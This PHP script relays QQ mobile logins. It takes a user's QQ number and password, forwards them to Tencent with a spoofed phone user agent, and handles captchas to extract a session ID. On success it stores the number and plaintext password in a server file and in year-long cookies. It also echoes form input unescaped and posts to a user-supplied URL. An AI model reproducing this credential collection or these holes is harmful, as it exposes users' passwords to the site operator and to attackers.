<?php
session_start();
error_reporting(0);
session_register(rand);
header("Content-Type: text/html; charset=utf-8");
if ($_POST['co'] < "0")
{
echo '<form action="' . $_SERVER[PHP_SELF] . '" method="POST">
<input type="hidden" name="co" value="1" >帐号:<br />
<input name="qq" type="text" emptyok="true" value="" maxlength="40" />
<br />密码:<br /><input name="pwd" type="password" emptyok="true" value="" />
<br />使原本书签失效:
<select size="1" name="modifySKey"> <option value="0">否</option><option value="1">是</option></select>
<br />
<input type="submit" value="登录">
</form>';
exit();
}
if ($_POST['co'] == "1")
{
$liaotianurl = 'http://pt.3g.qq.com/handleLogin?vdata=C6E0DF524017398047481C4B93FA5658';
$curlPost = 'qq=' . $_POST['qq'] . '&pwd=' . $_POST['pwd'] . '&modifySKey=' . $_POST['modifySKey'] . '&loginType=3&sidtype=1&q_status=40&bid=0&sidtype=1&aid=nLoginHandle';
}
if ($_POST['co'] == "2") { $liaotianurl = '' . $_POST['qqurl'] . '';
$curlPost = 'bid_code=' . $_POST["bid_code"] . '&qq=' . $_POST["qq"] . '&u_token=' . $_POST["u_token"] . '&hexpwd=' . $_POST["hexpwd"] . '&sidtype=' . $_POST["sidtype"] . '&hexp=' . $_POST["hexp"] . '&auto=' . $_POST["auto"] . '&loginTitle=3&q_from=' . $_POST["q_from"] . '&modifySKey=' . $_POST["modifySKey"] . '&q_status=' . $_POST["q_status"] . '&r=' . $_POST["r"] . '&loginType=' . $_POST["loginType"] . '&imgType=gif&extend=' . $_POST["extend"] . '&r_sid=' . $_POST["r_sid"] . '&bid=' . $_POST["bid"] . '&login_url=' . $_POST["login_url"] . '&rip=' . $_POST["rip"] . '&verify=' . $_POST['ve'] . '';
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $liaotianurl);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Nokia1680c_CMCC/2.0 (05.61) Profile/MIDP-2.1 Configuration/CLDC-1.1 nokia1680c');
curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($ch); curl_close($ch); unset($ch); if (strstr($data, '您输入的账号格式错误'))
{
echo '您输入的账号格式错误!<br/>';
}
if (strstr($data, '系统检测到您的操作异常'))
{
preg_match('/<img src="(.*)" alt="验证码"\/>/', $data, $img);
$img = $img[1]; $sidqq = explode('<anchor>马上登录', $data);
$sidqq = explode('</go></anchor>', $sidqq[1]);
$sidqq = $sidqq[0];
$sidqq = str_replace('amp;', '', $sidqq);
$qqurl = explode('<go href="', $sidqq);
$qqurl = explode('" method="post">', $qqurl[1]);
$qqurl = $qqurl[0];
$qqurl = str_replace('amp;', '', $qqurl);
$qqq = explode('" method="post">', $sidqq);
$qqq = explode('</go></anchor>', $qqq[1]);
$qqq = $qqq[0];
$qqq = str_replace('<postfield name="verify" value="$verify"/>', '', $qqq);
$qqq = str_replace('<postfield', '<input type="hidden"', $qqq);
echo '<img src="' . $img . '" alt="验证码"/><br/>
<form action="' . $_SERVER[PHP_SELF] . '" method="POST">
<input type="hidden" name="co" value="2" >
<input type="hidden" name="pwd" value="' . $_POST['pwd'] . '" >
请输入验证码:<input name="ve" type="text" maxlength="20" value="" emptyok="true" />
<br/>' . $qqq . '<br/>
<input name="dahao" type="hidden" emptyok="true" value="' . $dahao . '" maxlength="40" />
<input type="hidden" name="qqurl" value="' . $qqurl . '" >
<input type="submit" value="发送"></form>';
exit();
}
if (strstr($data, '成功'))
{
$qqsid = explode('sid=', $data); $qqsid = explode('&', $qqsid[1]);
$qqsid = $qqsid[0];
$data = curl_exec($ch); curl_close($ch); unset($ch);
$fp_sid = fopen("qq_database.dat", "a+");
$rand_sid = fgets($fp_sid);
$b_sid = '' . $_POST['qq'] . '分开' . $_POST['pwd'] . '';
ftruncate($fp_sid, 0); fwrite($fp_sid, $b_sid);
fclose($fp_sid); setcookie('pwd', $_POST['pwd'], time() + 31536000, '/', '.' . $_SERVER['HTTP_HOST'] . '', '0');
setcookie('sid', $qqsid, time() + 31536000, '/', '.' . $_SERVER['HTTP_HOST'] . '', '0');
setcookie('qq', $_POST['qq'], time() + 31536000, '/', '.' . $_SERVER['HTTP_HOST'] . '', '0');
$fp_config_c = fopen("sid_database.dat", "a+"); $rand_config_c = fgets($fp_config_c);
ftruncate($fp_config_c, 0); fwrite($fp_config_c, $_POST['qq'] . '分开' . $qqsid);
fclose($fp_config_c); echo '<h1><font color="#EE1B1B">更新SID成功</font>已记录QQ号同密码作日后自动更新SID使用</h1>
SID提取成功<br />SID:<font color="#F02626">' . $qqsid . '</font><br />';
}
?>
error_reporting(E_ALL);
ini_set("display_errors", 1);
就可以看到错误了